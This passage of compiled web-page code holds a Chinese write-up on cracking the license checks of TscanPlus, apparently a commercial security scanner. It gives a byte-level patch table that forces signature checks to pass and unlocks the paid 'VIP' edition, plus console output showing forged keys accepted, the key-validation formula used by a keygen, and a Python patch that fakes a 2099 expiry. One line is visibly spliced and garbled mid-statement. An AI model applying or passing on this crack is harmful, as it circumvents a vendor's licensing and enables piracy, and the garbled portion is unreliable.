0xC00"}),"\uff08",(0,s.jsx)(n.code,{children:".text"}),"\uff09\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"82-x64-\u7248\u65b9\u6cd5-b\u957f\u5ea6\u4e0d\u53d8\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\u4e0d\u9700\u8981\u91cd\u7b7e\u540d",children:"8.2 x64 \u7248\u65b9\u6cd5 B\uff08\u957f\u5ea6\u4e0d\u53d8\uff0c\u6539\u5b8c\u76f4\u63a5\u80fd\u8dd1\uff0c\u4e0d\u9700\u8981\u91cd\u7b7e\u540d\uff09"}),"\n",(0,s.jsxs)(n.p,{children:["arm64 \u4e0a\u662f ",(0,s.jsx)(n.code,{children:"B"}),"\uff1bx64 \u4e0a\u7b49\u4ef7\u505a\u6cd5\u662f ",(0,s.jsx)(n.code,{children:"jcc rel8"})," \u2192 ",(0,s.jsx)(n.code,{children:"jmp rel8"}),"\uff08",(0,s.jsx)(n.code,{children:"0x74\u21920xEB"}),"\uff0c",(0,s.jsx)(n.code,{children:"0x75\u21920xEB"}),"\uff09\uff0c\u6216\u8005\u628a ",(0,s.jsx)(n.code,{children:"jcc"})," \u76f4\u63a5\u6539\u6210\u7b49\u957f ",(0,s.jsx)(n.code,{children:"nop"}),"\uff08",(0,s.jsx)(n.code,{children:"0x90"}),"\uff09\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u5730\u5740"}),(0,s.jsx)(n.th,{children:"\u539f\u6307\u4ee4\uff08\u5b57\u8282\uff09"}),(0,s.jsx)(n.th,{children:"\u6539\u6210"}),(0,s.jsx)(n.th,{children:"\u4f5c\u7528"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1404cc900"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"cmp rsp,[r14+0x10]; jbe; push rbp; mov rbp,rsp"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"xor eax,eax; xor ebx,ebx; ret; nop\xd74"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"conf.B0Uu8RPrb2"})," \u6052\u8fd4\u56de nil error\uff08key \u6821\u9a8c\u6574\u4f53\u653e\u884c\uff09"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e15"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"75 20"})," ",(0,s.jsx)(n.code,{children:"jne 0x142515e37"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"eb 20"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"cli.runLicenseCheck"}),' \u8df3\u8fc7"\u8bf7\u8f93\u5165 Key / \u7528\u6cd5"\u5206\u652f']})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e48"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"74 31"})," ",(0,s.jsx)(n.code,{children:"je 0x142515e7b"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"eb 31"})}),(0,s.jsx)(n.td,{children:"\u5f3a\u5236\u8d70\u6210\u529f\u5206\u652f"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e83"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"74 1d"})," ",(0,s.jsx)(n.code,{children:"je 0x142515ea2"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"90 90"})}),(0,s.jsxs)(n.td,{children:["\u4e0d\u518d\u9009 ",(0,s.jsx)(n.code,{children:"\u793e\u533aFree\u7248"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e91"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"74 0f"})," ",(0,s.jsx)(n.code,{children:"je 0x142515ea2"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"90 90"})}),(0,s.jsxs)(n.td,{children:["\u6052\u9009 ",(0,s.jsx)(n.code,{children:"\u8ba4\u8bc1Vip\u7248"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x140499800"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"49 3b 66 10 0f 86"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"b8 01 00 00 00 c3"}),"\uff08",(0,s.jsx)(n.code,{children:"mov eax,1; ret"}),"\uff09"]}),(0,s.jsx)(n.td,{children:"\u6388\u6743\u6807\u5fd7 getter \u6052\u4e3a true\uff08\u524d\u7aef/\u529f\u80fd\u95e8\u63a7\u5171\u7528\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1404cbbf7"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"8b 8c 24 ac 00 00 00"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"89 c1"})," + nop\xd75"]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"mov ecx,[rsp+0xac]"}),"\u2192",(0,s.jsx)(n.code,{children:"mov ecx,eax"}),"\uff1a\u7b7e\u540d\u6bd4\u8f83\u5f3a\u5236\u76f8\u7b49"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1404caeb9"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"8b 8c 24 84 00 00 00"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"89 c1"})," + nop\xd75"]}),(0,s.jsx)(n.td,{children:"\u540c\u4e0a\uff08\u53e6\u4e00\u5904 phase3 \u7b7e\u540d\u6bd4\u8f83\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x1404cbc0a"})," / ",(0,s.jsx)(n.code,{children:"0x1404caeca"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0f 84 \u2026"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"90"}),"\xd76"]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"field==0 \u2192 error"})," \u5206\u652f\u8df3\u8fc7"]})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["\u8865\u4e01\u811a\u672c\uff1a",(0,s.jsx)(n.code,{children:"/tmp/ctf_work/patch_win_final.py"}),"\uff08\u9010\u6761\u6821\u9a8c\u539f\u59cb\u5b57\u8282\u518d\u5199\uff09\u3002"]}),"\n",(0,s.jsxs)(n.h3,{id:"83-\u5728-windows-\u673a\u5668\u4e0a\u7684\u5b9e\u6d4bssh-admin1921681120",children:["8.3 \u5728 Windows \u673a\u5668\u4e0a\u7684\u5b9e\u6d4b\uff08",(0,s.jsx)(n.code,{children:"ssh admin@192.168.1.120"}),"\uff09"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u4e2a exe \u662f ",(0,s.jsx)(n.code,{children:"Subsystem = 2"}),"\uff08GUI\uff09\uff0c\u4ece SSH/cmd \u8dd1\u65f6\u5b83\u7684\u65e5\u5fd7\u8d70 Wails \u524d\u7aef\uff0cstdout \u53ea\u6709\u6a2a\u5e45\u3002\u4e3a\u4e86\u80fd\u770b\u5230\u8f93\u51fa\uff0c\u6211\u628a\u540c\u4e00\u8865\u4e01\u96c6\u7684\u526f\u672c\u628a ",(0,s.jsx)(n.code,{children:"Subsystem"})," \u6539\u6210 3\uff08CUI\uff09\u518d\u8dd1 \u2014\u2014 \u884c\u4e3a\u4e00\u81f4\uff0c\u53ea\u662f\u8f93\u51fa\u53ef\u89c1\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u57fa\u7ebf\uff08\u672a\u6539\uff0c\u4f2a\u9020 key\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ base_console.exe -license 111.222.333.444.1\nVersion: 3.5.3 \u793e\u533aFree\u7248 (RC=0)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u7834\u89e3\u540e\uff08\u540c\u4e00 key\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ cracked_console_e.exe -license 111.222.333.444.1\nVersion: 3.5.3 Expired: \u672a\u8ba4\u8bc1 \u8ba4\u8bc1Vip\u7248 (RC=0)\n$ cracked_console_e.exe -license 999.111.222.333.2\nVersion: 3.5.3 Expired: \u672a\u8ba4\u8bc1 \u8ba4\u8bc1Vip\u7248 (RC=0)\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5373\uff1a\u4efb\u610f\u4f2a\u9020 key \u4e0d\u518d\u88ab\u62d2\u7edd\uff0c\u7248\u672c\u7c7b\u578b\u663e\u793a ",(0,s.jsx)(n.code,{children:"\u8ba4\u8bc1Vip\u7248"}),"\uff0c\u8fdb\u7a0b\u6b63\u5e38\u9000\u51fa\u3001\u4e0d\u5d29\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e2d\u9014\u7684\u4e00\u4e2a\u5b9e\u8bc1\u7ec6\u8282\uff1a\u53ea\u628a ",(0,s.jsx)(n.code,{children:"B0Uu8RPrb2"})," \u91cc\u7684 ",(0,s.jsx)(n.code,{children:"jne error"})," \u6539 ",(0,s.jsx)(n.code,{children:"nop"}),"\uff08\u4e0d\u5904\u7406\u8bb0\u5f55\uff09\u4f1a\u5d29\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"panic: runtime error: invalid memory address or nil pointer dereference\nTscanGui/conf.Ju1zV6nVMwrMz0(0x0) conf/license.go:468\nTscanGui/conf.B0Uu8RPrb2({...}) conf/license.go:1037\nTscanGui/internal/cli.runLicenseCheck({..., 0x11}) cli/license.go:20\nTscanGui/internal/cli.Dispatch(...) cli/dispatch.go:32\nmain.main() main.go:35\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u6761\u6808\u6b63\u597d\u786e\u8ba4\u4e86\u51fd\u6570\u6620\u5c04\uff1a",(0,s.jsx)(n.code,{children:"0x1404cc900 = conf.B0Uu8RPrb2"}),"\u3001",(0,s.jsx)(n.code,{children:"0x1404c8300 = conf.Ju1zV6nVMwrMz0"}),"\u3001",(0,s.jsx)(n.code,{children:"0x142515de0 = cli.runLicenseCheck"}),"\u3001",(0,s.jsx)(n.code,{children:"0x1425149a0 = cli.Dispatch"})," \u2014\u2014 \u548c arm64 IDB \u91cc\u7684\u540d\u5b57\u662f\u540c\u4e00\u5957 garble \u540d\uff08",(0,s.jsx)(n.code,{children:"O7rc6qW0L"}),"\u3001",(0,s.jsx)(n.code,{children:"Tmfc2rYXRKJT"})," \u4e5f\u5728\u6587\u4ef6\u91cc\u51fa\u73b0\uff09\u2713\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"84-\u56de\u7b54web-\u91cc\u8f93\u5165\u4f2a\u9020-key-\u63d0\u793a\u65e0\u6548-key",children:'8.4 \u56de\u7b54"web \u91cc\u8f93\u5165\u4f2a\u9020 key \u63d0\u793a\u65e0\u6548 key"'}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u624b\u6572\u7684 key \u672c\u6765\u5c31\u8be5\u5931\u8d25"}),"\uff1a",(0,s.jsx)(n.code,{children:"f4"})," \u5fc5\u987b\u7b49\u4e8e ",(0,s.jsx)(n.code,{children:'fold(first8(murmur3_32_seed0("phase3"+f1))) ^ 6'}),"\u3002\u8fd9\u6761\u5728 Windows \u7248\u53cd\u6c47\u7f16\u91cc\u88ab\u76f4\u63a5\u786e\u8ba4\u4e86 \u2014\u2014 ",(0,s.jsx)(n.code,{children:"0x1404c7220"})," \u7684\u5c3e\u5df4\u662f ",(0,s.jsx)(n.code,{children:"mov rax,[rsp+0x60]"}),"\uff08= \u524d\u7f00\u957f\u5ea6 6\uff09",(0,s.jsx)(n.code,{children:"xor eax, edx"}),"\uff08edx = \u524d 8 \u4e2a\u5b57\u7b26\u6309 nibble \u6298\u53e0\uff09\u2713\uff0c\u548c ",(0,s.jsx)(n.code,{children:"keygen.py"})," \u7684\u516c\u5f0f\u4e00\u81f4\u3002",(0,s.jsx)(n.code,{children:"f2 \u2264 30000"}),"\uff08",(0,s.jsx)(n.code,{children:"cmp \u2026, 30000"})," \u5728 ",(0,s.jsx)(n.code,{children:"0x1404cda62"}),"\u3001",(0,s.jsx)(n.code,{children:"0x1404d2c88"}),"\uff09\u3001",(0,s.jsx)(n.code,{children:"f3 < 1797379200"}),"\u3001",(0,s.jsx)(n.code,{children:"f5 \u2208 0..5"}),"\u3001\u6b63\u5219 ",(0,s.jsx)(n.code,{children:"^\\d+\\.\\d+\\.\\d+(\\.\\d+)?$"}),"\u3002\u7528 ",(0,s.jsx)(n.code,{children:"keygen.py"})," \u51fa\u6765\u7684 key\uff0c\u4e0d\u8981\u81ea\u5df1\u7f16\u6570\u5b57\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"web \u8def\u5f84\u548c CLI \u8def\u5f84\u4e0d\u540c"}),"\uff1a\u524d\u7aef JS \u8c03\u7684\u662f ",(0,s.jsx)(n.code,{children:"GetAppLic"})," / ",(0,s.jsx)(n.code,{children:"CheckAppLic"}),"\uff08\u6587\u4ef6\u91cc\u80fd\u770b\u5230\u8fd9\u6bb5 JS \u6865\u63a5\u6869\uff09\uff0cGo \u4fa7\u7b2c\u4e00\u6b65\u662f",(0,s.jsx)(n.strong,{children:"\u8bfb\u53d6\u5df2\u5b58 license \u8bb0\u5f55"}),"\uff08",(0,s.jsx)(n.code,{children:"License.lic"}),' + sqlite\uff09\uff0c\u8bb0\u5f55\u4e0d\u5b58\u5728\u5c31\u76f4\u63a5\u8fd4\u56de\u9519\u8bef \u2014\u2014 \u8fd9\u5c31\u662f"\u65e0\u6548 key"\u3002\u6240\u4ee5\u53ea\u6539 ',(0,s.jsx)(n.code,{children:"runLicenseCheck"})," \u7684\u5206\u652f\u4e0d\u591f\uff0c\u8981\u6539\u7684\u662f\u5171\u7528\u7684 ",(0,s.jsx)(n.code,{children:"conf.B0Uu8RPrb2"})," / \u6807\u5fd7 getter\uff088.2 \u91cc\u90a3\u4e24\u6761\u5df2\u7ecf\u628a\u8fd9\u6761\u8def\u6253\u901a\uff1a\u6821\u9a8c\u6052\u8fd4\u56de nil\u3001flag \u6052 true\uff09\u3002"]}),"\n",(0,s.jsx)(n.li,{children:'\u6587\u4ef6\u91cc\u641c\u4e0d\u5230"\u65e0\u6548\u7684Key"\u5b57\u6837 \u2713\uff08\u4e24\u4e2a\u7248\u672c\u90fd\u662f\u8fd0\u884c\u65f6\u89e3\u7801\uff09\uff0c\u8fd9\u672c\u8eab\u5c31\u662f"\u63d0\u793a\u6765\u81ea\u53e6\u4e00\u6761\u89e3\u7801\u8def\u5f84"\u7684\u8bc1\u636e\u3002'}),"\n"]}),"\n",(0,s.jsxs)(n.h3,{id:"85-2099-\u5728-windows-\u7248\u4e0a\u662f\u53ef\u4ee5\u505a\u5230\u7684\u5df2\u5b9e\u6d4b",children:["8.5 2099 \u5728 Windows \u7248\u4e0a\u662f",(0,s.jsx)(n.strong,{children:"\u53ef\u4ee5\u505a\u5230\u7684"}),"\uff08\u5df2\u5b9e\u6d4b\uff09"]}),"\n",(0,s.jsxs)(n.p,{children:['\u7b2c 5 \u8282\u91cc"\u6539\u4e0d\u4e86 2099"\u7684\u7ed3\u8bba\u53ea\u5bf9 arm64 \u90a3\u4efd\u6210\u7acb\uff08\u5b57\u7b26\u4e32\u5728\u53ea\u8bfb ',(0,s.jsx)(n.code,{children:"__rodata"}),"\u3001\u4e14 ",(0,s.jsx)(n.code,{children:"__bss"})," \u6ca1\u6709\u6587\u4ef6\u5185\u5bb9\u53ef\u9884\u586b\uff09\u3002Windows \u7248\u4e0d\u540c\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5b83\u7684\u5b57\u7b26\u4e32\u662f ",(0,s.jsx)(n.code,{children:"movabs r64, imm64"})," \u91cc\u585e",(0,s.jsx)(n.strong,{children:"\u4e24\u4e2a rune"}),"\uff08\u4f8b\uff1a",(0,s.jsx)(n.code,{children:"0x6548000065e0"})," = ",(0,s.jsx)(n.code,{children:"\u65e0"}),",",(0,s.jsx)(n.code,{children:"\u6548"})," \u2713\uff09\uff0c\u8fd0\u884c\u65f6\u8d70 ",(0,s.jsx)(n.code,{children:"utf8.EncodeRune"}),"\uff08",(0,s.jsx)(n.code,{children:"0x140076a40"}),"\uff09\u62fc\u4e32 \u2014\u2014 \u7acb\u5373\u6570\u5728 ",(0,s.jsx)(n.code,{children:".text"})," \u91cc\uff0c\u53ef\u6539 \u2713\uff1b"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u663e\u793a\u7528\u7684 ",(0,s.jsx)(n.code,{children:"(ptr,len)"})," \u662f ",(0,s.jsx)(n.code,{children:"conf"})," \u521d\u59cb\u5316\u91cc\u5199\u8fdb\u5806\u5bf9\u8c61\u7684\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"0x1404f1bfb 48 c7 40 20 09 00 00 00 mov qword [rax+0x20], 9 ; len('\u672a\u8ba4\u8bc1')\n0x1404f1c03 48 8d 0d 3f be 07 03 lea rcx, [rip+0x307be3f] ; -> .rdata 0x14356da49 = '\u672a\u8ba4\u8bc1'\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u957f\u5ea6\u548c\u6307\u9488\u90fd\u662f\u53ef\u6539\u7684\u7acb\u5373\u6570 \u2713\uff0c\u800c ",(0,s.jsx)(n.code,{children:".rdata"})," \u91cc\u6709 19524 \u6bb5\u672a\u88ab\u4efb\u4f55 ",(0,s.jsx)(n.code,{children:"lea"})," \u5f15\u7528\u7684\u7a7a\u95f2\u533a \u2713\uff08\u53d6 ",(0,s.jsx)(n.code,{children:"file 0x2ee7448"}),"\uff0c24 \u5b57\u8282\uff09\u3002"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6240\u4ee5\u628a\u8fd9\u6761 ",(0,s.jsx)(n.code,{children:"(ptr,len)"})," \u91cd\u5b9a\u5411\u5230\u5199\u597d\u7684 ",(0,s.jsx)(n.code,{children:"2099.12.31"}),"\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"SLOT = 0x2ee7448 # .rdata \u5185\u672a\u88ab\u5f15\u7528\u7684\u7a7a\u95f2\u533a\uff08vaddr 0x142ee9648\uff09\nd[SLOT:SLOT+10] = b'2099.12.31'\nd[vaddr2file(0x1404f1bfb)+4] = 10 # len 9 -> 10\uff08\u7b49\u957f\uff09\nd[vaddr2file(0x1404f1c03)+3:+7] = struct.pack('>26)&0x3F == 0b100001"}),"\uff0c\u4e0d\u662f ",(0,s.jsx)(n.code,{children:"(w>>24)&0x1F"}),"\uff1b\u5199\u9519 \u2192 \u626b\u63cf 0 \u547d\u4e2d\u3002arm64 \u7684 ",(0,s.jsx)(n.code,{children:"B"})," \u7f16\u7801\u5668\u4e0d\u80fd\u7528\u5728 x86-64 Mach-O \u4e0a\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsxs)(n.strong,{children:["capstone \u53d6 ",(0,s.jsx)(n.code,{children:"lea reg,[rip+disp]"})," \u7684\u76ee\u6807"]}),"\uff1a\u64cd\u4f5c\u6570\u7d22\u5f15\u662f ",(0,s.jsx)(n.code,{children:"operands[1]"}),"\uff0c\u7c7b\u578b 3\uff08MEM\uff09\uff0c\u4e0d\u662f 2\uff1b\u7528 ",(0,s.jsx)(n.code,{children:"i.insn_name"}),"/",(0,s.jsx)(n.code,{children:"i.op_str"}),"\uff0c\u6ca1\u6709 ",(0,s.jsx)(n.code,{children:"i.op"})," \u5c5e\u6027\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsxs)(n.strong,{children:["\u53ea nop ",(0,s.jsx)(n.code,{children:"jne error"})," \u5206\u652f\u4f1a\u5d29"]}),"\uff08nil \u8bb0\u5f55\u6307\u9488\u88ab\u89e3\u5f15\u7528\uff09\u2014\u2014 \u6b63\u786e\u505a\u6cd5\u662f\u8ba9\u6821\u9a8c\u51fd\u6570",(0,s.jsx)(n.strong,{children:"\u76f4\u63a5\u8fd4\u56de nil"}),"\uff0c\u4e0d\u8d70\u8fdb\u540e\u7eed deref\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"Windows \u4e8c\u8fdb\u5236\u662f GUI subsystem"}),"\uff0cSSH \u91cc\u770b\u4e0d\u5230\u8f93\u51fa\uff1b\u8981\u9a8c\u8bc1\u5c31\u590d\u5236\u4e00\u4efd\u628a ",(0,s.jsx)(n.code,{children:"Subsystem"})," \u6539\u6210 3\uff08\u53ea\u6539 OptionalHeader\uff0c\u5176\u4f59\u5b57\u8282\u4e00\u81f4\uff09\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"UPX \u52a0\u58f3\u65f6 IDA \u662f\u7a7a\u7684"}),"\uff1a\u5148 ",(0,s.jsx)(n.code,{children:"upx -d"}),"\uff1bGo 1.25 \u7684 PE \u6ca1\u6709 COFF \u7b26\u53f7\u8868\uff0c",(0,s.jsx)(n.code,{children:"go tool nm"})," \u62a5 ",(0,s.jsx)(n.code,{children:"no symbols"}),"\uff0c\u7528 ",(0,s.jsx)(n.code,{children:".pdata"})," \u62ff\u51fd\u6570\u8fb9\u754c\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"garble \u5b57\u7b26\u4e32\u6709\u4e24\u79cd\u5b58\u50a8\u5f62\u6001"}),"\uff1a\u2460 ",(0,s.jsx)(n.code,{children:".rdata"}),"/",(0,s.jsx)(n.code,{children:"__TEXT.__rodata"})," \u91cc\u8fde\u7eed\u62fc\u63a5\uff08\u65e0 NUL \u5206\u9694\uff0c\u957f\u5ea6\u53ea\u80fd\u9760\u914d\u5bf9\u7684 ",(0,s.jsx)(n.code,{children:"mov reg, imm"}),"\uff09\uff1b\u2461 ",(0,s.jsx)(n.code,{children:"movabs r64, imm64"})," \u88c5\u4e24\u4e2a int32 rune\uff0c\u8fd0\u884c\u65f6 ",(0,s.jsx)(n.code,{children:"utf8.EncodeRune"})," \u89e3\u7801\u3002\u5f62\u6001 \u2461 \u7684\u7acb\u5373\u6570\u53ef\u6539\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsxs)(n.strong,{children:["\u7a0b\u5e8f\u6bcf\u6b21\u8fd0\u884c\u90fd\u4f1a\u91cd\u5199 ",(0,s.jsx)(n.code,{children:"License.lic"})," \u5c3e\u90e8"]}),"\uff08",(0,s.jsx)(n.code,{children:"~/.config/TscanPlus/config/License.lic"}),"\uff0c608 hex \u5b57\u7b26 = 304 \u5b57\u8282\uff09\u2014\u2014 \u52a8\u624b\u524d\u7559\u5907\u4efd\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"11-\u8fb9\u754c\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230",children:"11. \u8fb9\u754c\uff08\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230\uff09"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u6fc0\u6d3b\u7801\u4e0d\u80fd\u79bb\u7ebf\u4f2a\u9020"}),"\u3002\u6821\u9a8c\u51fd\u6570 ",(0,s.jsx)(n.code,{children:"0x1404d9c40"})," \u8d70 ECDSA\uff1a\u8981\u6c42 65 \u5b57\u8282\u672a\u538b\u7f29\u516c\u94a5\uff08",(0,s.jsx)(n.code,{children:"\u516c\u94a5\u957f\u5ea6\u9519\u8bef\uff1a\u5e94\u4e3a65\u5b57\u8282"}),"\uff09\uff0c\u5e76\u6709 ",(0,s.jsx)(n.code,{children:"\u516c\u94a5\u6570\u636e\u683c\u5f0f\u9519\u8bef"}),"\u3001",(0,s.jsx)(n.code,{children:"\u516c\u94a5\u6570\u636e\u957f\u5ea6\u4e0d\u8db3"}),"\u3001",(0,s.jsx)(n.code,{children:"\u89e3\u5bc6\u516c\u94a5\u5931\u8d25: %v"}),"\u3001",(0,s.jsx)(n.code,{children:"ECDSA\u516c\u94a5\u672a\u521d\u59cb\u5316\uff0c\u8bf7\u5148\u8fd0\u884c obfuscate_license.py \u811a\u672c"})," \u2014\u2014 \u4e8c\u8fdb\u5236\u91cc\u53ea\u6709\u516c\u94a5\uff0c\u6ca1\u6709\u79c1\u94a5\u3002\u8bb0\u5f55\u5b57\u6bb5\uff1a",(0,s.jsx)(n.code,{children:"sign"}),"\u3001",(0,s.jsx)(n.code,{children:"version"}),"\u3001",(0,s.jsx)(n.code,{children:"app_ver"}),"\u3001",(0,s.jsx)(n.code,{children:"poc_kind"}),"\u3001",(0,s.jsx)(n.code,{children:"svip"}),"\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u4e00\u4e2a key \u4e0d\u80fd\u591a\u673a\u5668\u7528"}),"\u3002\u786c\u4ef6\u7ed1\u5b9a\u662f\u5b9e\u6d4b\u7ed3\u8bba\uff1a\u540c\u4e00\u6761\u8bb0\u5f55\u5728 Mac \u4e0a\u63a5\u53d7\uff0c\u5728 Windows \u4e0a ",(0,s.jsx)(n.code,{children:"license\u786c\u4ef6\u6821\u9a8c\u5931\u8d25"}),"\uff1bWindows \u8bfb\u6ce8\u518c\u8868 ",(0,s.jsx)(n.code,{children:"SOFTWARE\\Microsoft\\Cryptography"}),"\uff08",(0,s.jsx)(n.code,{children:"MachineGuid"}),"\uff0c",(0,s.jsx)(n.code,{children:"0x140f90d00"}),"\uff0c\u53e6\u6709 ",(0,s.jsx)(n.code,{children:"HostID incorrect: %q"}),"\uff09\u548c ",(0,s.jsx)(n.code,{children:"wmic.exe"}),"\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u8fc7\u671f\u540e\u80fd\u5426\u4e0b\u8f7d PoC"}),"\uff1a\u66f4\u65b0\u8d70\u670d\u52a1\u7aef \u2014\u2014 ",(0,s.jsx)(n.code,{children:"gettoken.json?app_key=%s"}),"\u3001",(0,s.jsx)(n.code,{children:"CheckTpUpdate Error: %v"}),"\u3001",(0,s.jsx)(n.code,{children:"\u670d\u52a1\u7aef\u672a\u8fd4\u56de\u4e0b\u8f7d\u51ed\u8bc1"}),"\u3001",(0,s.jsx)(n.code,{children:"pocs.zip"}),"\u3001",(0,s.jsx)(n.code,{children:"\u4e0b\u8f7d%s\u5931\u8d25: %w"})," / ",(0,s.jsx)(n.code,{children:"HTTP %d (%s)"}),"\u3002\u9700\u8981\u670d\u52a1\u7aef\u4e0b\u53d1\u7684\u4e0b\u8f7d\u51ed\u8bc1\uff0c\u4e0d\u662f\u672c\u5730\u80fd\u9020\u7684\u3002\u987a\u5e26\u4e00\u6761\u7ea0\u9519\uff1aPoC \u66f4\u65b0\u8def\u5f84\u7684\u5b57\u7b26\u4e32\u91cc",(0,s.jsx)(n.strong,{children:"\u6ca1\u6709"})," ",(0,s.jsx)(n.code,{children:"\u6587\u4ef6\u4e0d\u5b58\u5728"}),"\uff0c\u90a3\u6761\u62a5\u9519\u6765\u81ea MCP/workspace \u7684\u6587\u4ef6\u5de5\u5177\uff0c\u4e0d\u662f\u8fd9\u4e2a\u7a0b\u5e8f\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"2099 \u662f\u663e\u793a\u5c42"}),"\uff0c\u4e0d\u662f\u628a\u6388\u6743\u771f\u4e70\u5230 2099\uff1a",(0,s.jsx)(n.code,{children:"Expired:"})," \u90a3\u884c\u662f ",(0,s.jsx)(n.code,{children:"(ptr,len)"})," \u91cd\u5b9a\u5411\u7684\u7ed3\u679c\uff1b",(0,s.jsx)(n.code,{children:"f3 < 1797379200"}),"\uff082026-12-16\uff09\u8fd9\u6761\u786c\u9650\u5236\u4ecd\u5728\u4ee3\u7801\u91cc\uff0c\u8fc7\u671f\u5224\u65ad\u51fd\u6570 ",(0,s.jsx)(n.code,{children:"0x1404996e0"})," \u91cc\u7684 ",(0,s.jsx)(n.code,{children:"add rsi, 0x15180"}),"\uff0886400 s = 1 